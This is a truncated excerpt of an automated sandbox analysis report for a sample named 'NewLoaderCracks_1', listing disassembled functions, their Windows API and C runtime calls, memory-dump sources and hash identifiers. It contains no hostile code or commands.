API String ID: 3177248105-0
Opcode ID: 2691d0e98538c14dcd34007e73c0efe3b9ef5baa3f1a566d415793f14c7034a1
Instruction ID: b45c04725d097eff75c8bf2b0dbc5b7f816dcd51e5e07c544f0b5416234df460
Opcode Fuzzy Hash: 2691d0e98538c14dcd34007e73c0efe3b9ef5baa3f1a566d415793f14c7034a1
Instruction Fuzzy Hash: 7D01F732651222ABCF21CA78EC44A567F98FF75BB1B100620F90BE3140D721D944EEE1

Function 0056B188 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00568FA5: GetLastError.KERNEL32(?,00580EE8,00563E14,00580EE8,?,?,00563713,00000050,?,00580EE8,00000200), ref: 00568FA9
Part of subcall function 00568FA5: _free.LIBCMT ref: 00568FDC
Part of subcall function 00568FA5: SetLastError.KERNEL32(00000000,?,00580EE8,00000200), ref: 0056901D
Part of subcall function 00568FA5: _abort.LIBCMT ref: 00569023

Part of subcall function 0056B2AE: _abort.LIBCMT ref: 0056B2E0
Part of subcall function 0056B2AE: _free.LIBCMT ref: 0056B314

Part of subcall function 0056AF1B: GetOEMCP.KERNEL32(00000000,?,?,0056B1A5,?), ref: 0056AF46

_free.LIBCMT ref: 0056B200
_free.LIBCMT ref: 0056B236

Strings

W, xrefs: 0056B22A

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID: W
API String ID: 2991157371-3818464504
Opcode ID: 4ead16df8a067d04fe16d127570037f02922470aa0125bfbbaff2e71f58c4dc6
Instruction ID: 91e436f8bce7ab34f0dafe61752ecebbefc347d2395551fa9ad9acdf2e47dd46
Opcode Fuzzy Hash: 4ead16df8a067d04fe16d127570037f02922470aa0125bfbbaff2e71f58c4dc6
Instruction Fuzzy Hash: 85310231900209AFEB10EFA8D855AADBFF4FF85320F244199E8189B291EB719D81DB50

Function 00549F2F Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,0054CC94,00000001,?,?,?,00000000,00554ECD,?,?,?), ref: 00549F4C
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,00554ECD,?,?,?,?,?,00554972,?), ref: 00549F8E
WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,0054CC94,00000001,?,?), ref: 00549FB8

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 4af996322b8eb3118f3c3c83d3acfc744461f6838f82384c0e3819d374aa060d
Instruction ID: 8b45f74a5d6585ffdae75f21a6cbdda718b69a20b987e5d8377a83ae3d0018e7
Opcode Fuzzy Hash: 4af996322b8eb3118f3c3c83d3acfc744461f6838f82384c0e3819d374aa060d
Instruction Fuzzy Hash: EA310471208305ABDF118F24D8497ABBFA8FB91728F044558F9499B182C770D84CDBA2

Function 0054A207 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0054A113,?,00000001,00000000,?,?), ref: 0054A22E
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0054A113,?,00000001,00000000,?,?), ref: 0054A261
GetLastError.KERNEL32(?,?,?,?,0054A113,?,00000001,00000000,?,?), ref: 0054A27E

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: 6585925f7fce0f746bbce452c1061d53ac92137f282394a8cbe00071b14a5abe
Instruction ID: c2aaa48237c1c4716bead3f91acc9ff36591ff507a588989b2b76053ec95b071
Opcode Fuzzy Hash: 6585925f7fce0f746bbce452c1061d53ac92137f282394a8cbe00071b14a5abe
Instruction Fuzzy Hash: 3401D2392C821566EBB29B745C09BEE7B4CBF16749F040851F844D6051D7E2CA80F6B3

Function 0056AFF4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0056B019

Strings

, xrefs: 0056B05E

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: f56e8d0f5f7e760863c1b3993b0c1dcb37ef6594f80d1186515bde2451a6961c
Instruction ID: 5d2250ae53815f452cb7e6a4a1c6b2ed630dc20463862d6bb8af42d3c0640fc1
Opcode Fuzzy Hash: f56e8d0f5f7e760863c1b3993b0c1dcb37ef6594f80d1186515bde2451a6961c
Instruction Fuzzy Hash: 6641F77050434CAAEB228E24CC99AF6BFA9FB46304F1404EDE59AC7142E3359A85DF20

Function 0056A72C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,3FE85006,00000001,?,?), ref: 0056A79D

Strings

LCMapStringEx, xrefs: 0056A73D, 0056A747

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 3432a9ab57a0ff0cf267233e74ed6673e46ce66beeb326c4dff66e8689c6a331
Instruction ID: 264bcecac12b82db8255c622b44326fd8c3d926445874c8cab0196ee6bf9cdf6
Opcode Fuzzy Hash: 3432a9ab57a0ff0cf267233e74ed6673e46ce66beeb326c4dff66e8689c6a331
Instruction Fuzzy Hash: 8C01D33254420DBBCF025FA0EC06DAE7F66FF5C760F048554FE1826161CA729A71BB92

Function 0056A6CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00569D2F), ref: 0056A715

Strings

InitializeCriticalSectionEx, xrefs: 0056A6E5

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: cb560a21843b5a28b199c55b8f0aeb5596f88a2fb550daacda3ca25ab39b6e36
Instruction ID: 4dd9a8c8124a7f7a93143e4375cdcc82d111d0fcdad28a158a8a1b902576f3ff
Opcode Fuzzy Hash: cb560a21843b5a28b199c55b8f0aeb5596f88a2fb550daacda3ca25ab39b6e36
Instruction Fuzzy Hash: 2DF0BE3164521CBBCF016F60EC0ACAE7F61FF58B21B408464FC0D6A261DA719E50FB91

Function 0056A56F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0056A5AE

Strings

FlsAlloc, xrefs: 0056A58A

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 77fa2f127ee8e8e347ac6de806c0fd391d5f8506b8ffc6c50664aaa79784af8c
Instruction ID: 8cd1a656eb0b44b96efd36ad2e16bbee05f34c881781216c6d1c2e664535bee5
Opcode Fuzzy Hash: 77fa2f127ee8e8e347ac6de806c0fd391d5f8506b8ffc6c50664aaa79784af8c
Instruction Fuzzy Hash: 90E05C3074522CABC710AF54BC0686DBF50FB79721B404055FC0D27240DD704E00B6D6

Function 0056329A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 005632AF

Strings

FlsAlloc, xrefs: 0056329E, 005632A8

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: b33f769a797503feeb0584eae349b9d8834ff3767c24a58661f931ee5c35854d
Instruction ID: bb4560ce5af1554c6b189021edd663e5c28b9cdbfe9a16e63762e5449166f590
Opcode Fuzzy Hash: b33f769a797503feeb0584eae349b9d8834ff3767c24a58661f931ee5c35854d
Instruction Fuzzy Hash: ABD02B31B80B356A821032C07C039AE7E04A701FB2F454152FE0C1B142A4E19A40B1C5

Function 0056B350 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0056AF1B: GetOEMCP.KERNEL32(00000000,?,?,0056B1A5,?), ref: 0056AF46

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0056B1EA,?,00000000), ref: 0056B3C4
GetCPInfo.KERNEL32(00000000,0056B1EA,?,?,?,0056B1EA,?,00000000), ref: 0056B3D7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 27e2127cf02f9ba5180fa4a56f7b120d0919a669628f7ee513b0cfe831557039
Instruction ID: fb05693225e36062b5d9977d4892fe421d2a36b298e2001abf4452dccb321a98
Opcode Fuzzy Hash: 27e2127cf02f9ba5180fa4a56f7b120d0919a669628f7ee513b0cfe831557039
Instruction Fuzzy Hash: 53515870A003069EEF208F31C8856BABFE6FF55311F1844AED086CB253EB359985DB81

Function 00541385 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00541385

Part of subcall function 00546057: __EH_prolog.LIBCMT ref: 0054605C

Part of subcall function 0054C827: __EH_prolog.LIBCMT ref: 0054C82C
Part of subcall function 0054C827: new.LIBCMT ref: 0054C86F
Part of subcall function 0054C827: new.LIBCMT ref: 0054C893

new.LIBCMT ref: 005413FE

Part of subcall function 0054B07D: __EH_prolog.LIBCMT ref: 0054B082

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b79d42dc901eac9389cbd45f573e6f0c53051df0deddfa8b6ab63d5a96e80cd6
Instruction ID: e4aadf471611631bb0bfd730c92c443b7e5622b4c8bced18ca17badd6be48e55
Opcode Fuzzy Hash: b79d42dc901eac9389cbd45f573e6f0c53051df0deddfa8b6ab63d5a96e80cd6
Instruction Fuzzy Hash: 124144B0805B419EE724DF7984899E7FFE5FB18304F404A2ED6EE83282DB326558CB15

Function 00541380 Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00541385

Part of subcall function 00546057: __EH_prolog.LIBCMT ref: 0054605C

Part of subcall function 0054C827: __EH_prolog.LIBCMT ref: 0054C82C
Part of subcall function 0054C827: new.LIBCMT ref: 0054C86F
Part of subcall function 0054C827: new.LIBCMT ref: 0054C893

new.LIBCMT ref: 005413FE

Part of subcall function 0054B07D: __EH_prolog.LIBCMT ref: 0054B082

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 98fc883ffdd068de80f7791189c8c3b0180d997c7edbfe3c2d4a64d4ca2667e6
Instruction ID: 2b3f93af92a7f4e91aa6058bcfdf63841504ab7f748c840067efffc09a57d4ac
Opcode Fuzzy Hash: 98fc883ffdd068de80f7791189c8c3b0180d997c7edbfe3c2d4a64d4ca2667e6
Instruction Fuzzy Hash: A94132B0805B419EE724DF79848AAE7FFE5FB18304F404A6ED5EE83282DB326554CB15

Function 0054971E Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00549EDC,?,?,00547867), ref: 005497A6
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00549EDC,?,?,00547867), ref: 005497DB

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1dccec9286cd2ab3c45551175ec00c54c335b06f05d7eaccc94ba7087c21945c
Instruction ID: 9ee596335fb9b6b05e90b53682cf2c76199a922bc8b5517c1439d521b4dd3628
Opcode Fuzzy Hash: 1dccec9286cd2ab3c45551175ec00c54c335b06f05d7eaccc94ba7087c21945c
Instruction Fuzzy Hash: E021F8B1110745AFE7308F54C886FE77BE8FB4A768F00491DF5D582191C374AC889B61

Function 00549D62 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00547547,?,?,?,?), ref: 00549D7C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00549E2C

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 7c5a5eb05442f01775a779b2f27cf039264ec7a9de116cd5a664e23d1a0ea4ad
Instruction ID: cfc337882b0008f6d75cd4c5c2401d37aa1b4ea9739fbe590428baf2a968eff5
Opcode Fuzzy Hash: 7c5a5eb05442f01775a779b2f27cf039264ec7a9de116cd5a664e23d1a0ea4ad
Instruction Fuzzy Hash: 0D21D372548246ABC714DE24C896AEBBFE4BF96708F04091DB8D187181D329EA0CDBA1

Function 0056A458 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,00573958), ref: 0056A4B8
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0056A4C5

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 2d6fc29081e3c310f38aba6c5844f088e04f1d3fc2fc3aa260170cf46a90b0ca
Instruction ID: 613a9a2ea71c0bbe9e850b0d16eaa640c54a2678d4cc7d8075eb7dcaa000627f
Opcode Fuzzy Hash: 2d6fc29081e3c310f38aba6c5844f088e04f1d3fc2fc3aa260170cf46a90b0ca
Instruction Fuzzy Hash: 3C113633A012218B9F229E28FC4986A7B91BB857617164220FD19FB244EF70DC45EBD2

Function 00549B59 Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?,-00001964,?,00000800,-00001964,00549B35,?,?,00000000,?,?,00548D9C,?), ref: 00549BC0
GetLastError.KERNEL32 ref: 00549BCD

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: dbc63e3fb77d4d326dc57f808c1bd4cc67e30c9897fa3d80faeb721e05283542
Instruction ID: 67a321fbfca0daa7b8ff0af01e7f771a15249d7e7dd939fe914de87d372fb9ab
Opcode Fuzzy Hash: dbc63e3fb77d4d326dc57f808c1bd4cc67e30c9897fa3d80faeb721e05283542
Instruction Fuzzy Hash: 7E0108313082159F8B08CE65BC869FFBB59FFC0325B10462DF81683281CA30D805A622

Function 00549E40 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00549E76
GetLastError.KERNEL32 ref: 00549E82

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 68bb163910c917cb7fe31bf68e3c6abc9a5f72c5b456ee5c3eb837eeba7d4e0e
Instruction ID: ec7284ab1d9145534454a7b1e647669d9067253adb39b17620f7c51cb5b4bf4d
